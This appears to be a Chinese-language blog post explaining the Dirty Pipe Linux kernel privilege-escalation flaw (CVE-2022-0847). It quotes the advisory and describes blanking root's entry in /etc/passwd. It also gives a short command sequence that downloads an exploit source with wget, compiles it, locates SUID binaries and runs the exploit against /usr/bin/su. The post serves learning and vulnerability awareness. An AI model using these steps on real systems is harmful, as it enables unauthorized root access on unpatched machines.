A flaw was found in the way the "flags" member of the new pipe buffer structure was lacking proper initialization in copy_page_to_iter_pipe and push_pipe functions in the Linux kernel and could thuscontain stale values. An unprivileged local user could use this flaw to write to pages in the page cache backed by read only files and as such escalate their privileges on the system.
在Linux内核的copy_page_to_iter_pipe和push_pipe函数中新管道缓存区结构的成员标志缺少正确初始化的方式,这一缺陷可能会导致成员标志包含陈旧的值。
一个非特权本地用户可以利用这一漏洞,在只读文件支持的页面缓存中的页面写入,从而提升非特权用户在系统上的特权。
看完这个漏洞的介绍以及翻译完,是不是还是一脸懵逼?
看下内核代码提交记录中的分析:
The functions copy_page_to_iter_pipe() and push_pipe() can both allocate a new pipe_buffer, but the "flags" member initializer is missing.
脏管道提权说明
自Linux内核5.8版本以来,该漏洞允许覆盖任意只读文件中的数据。 这将导致权限提升,因为非特权进程将代码注入到root进程。
感觉非常吃力,这其中的技术含量太高,向大拿学习,CVE-2022-0847 Dirty Pipe Linux内核提权漏洞。
CVE-2022-0847 于 2022-03-07 公开披露,发现者 Max Kellermann 研究员将该漏洞命名为 Dirty Pipe(脏管道)。由作者原文得知该漏洞影响范围:5.8 <= Linux 内核版本 < 5.16.11 / 5.15.25 / 5.10.102。它允许覆盖任意只读文件中的数据,因此重写覆盖 /etc/passwd 文件内容可实现提权。
/etc/passwd 这个文件保存了 Linux 上的所有用户信息,其各个字段的顺序和含义如下图。
用户登录口令对应其中的 x 标志,如果删除了 root 用户后面的 x 标志,这就意味着为 root 用户设置了一个空密码,所以可以使用 su root 来提升权限而无需凭据。
exp https://github.com/imfiver/CVE-2022-0847 就将 root 用户密码置空。
其核心代码来自 Max Kellermann 公开的概念验证代码。编译后,将原 /etc/passwd 备份一次,运行 exp 覆盖 /etc/passwd 文件
另一个 Github 高赞 exp: https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit,也是利用此类方式提权。
还有一种改进的利用方式(推荐):https://haxx.in/files/dirtypipez.c 覆盖 SUID 程序提权。
wget https://haxx.in/files/dirtypipez.c
gcc -o dirtypipez dirtypipez.c
find / -perm -u=s -type f 2>/dev/null # 查找 SUID 程序
./dirtypipez /usr/bin/su
看完大拿分析的理论和环境上实践。说下自己的感受。
安全入门需要一定的基础,技术含量高。一般是由专业人士发现,发现的是漏洞,但这也是一个故障,有极大潜在风险的漏洞。这样的漏洞一般是在开源软件中,全球软件公司都面对的漏洞,各个产品中是否修复这一漏洞,取决于各个公司对安全的重视。
安全测试人员发现不发现也无所谓,这种测试大多取决于业界大拿的发现,只要产品上修补此漏洞即可。
发现的漏洞可以做成商用测试工具,卖给各个公司,只要配置下环境的ip和登录用户名密码进行漏洞扫描即可,发现的漏洞汇总为一个报告,给出处理建议即可。
参考
https://www.opencve.io/cve/CVE-2022-0847
http://packetstormsecurity.com/files/166229/Dirty-Pipe-Linux-Privilege-Escalation.html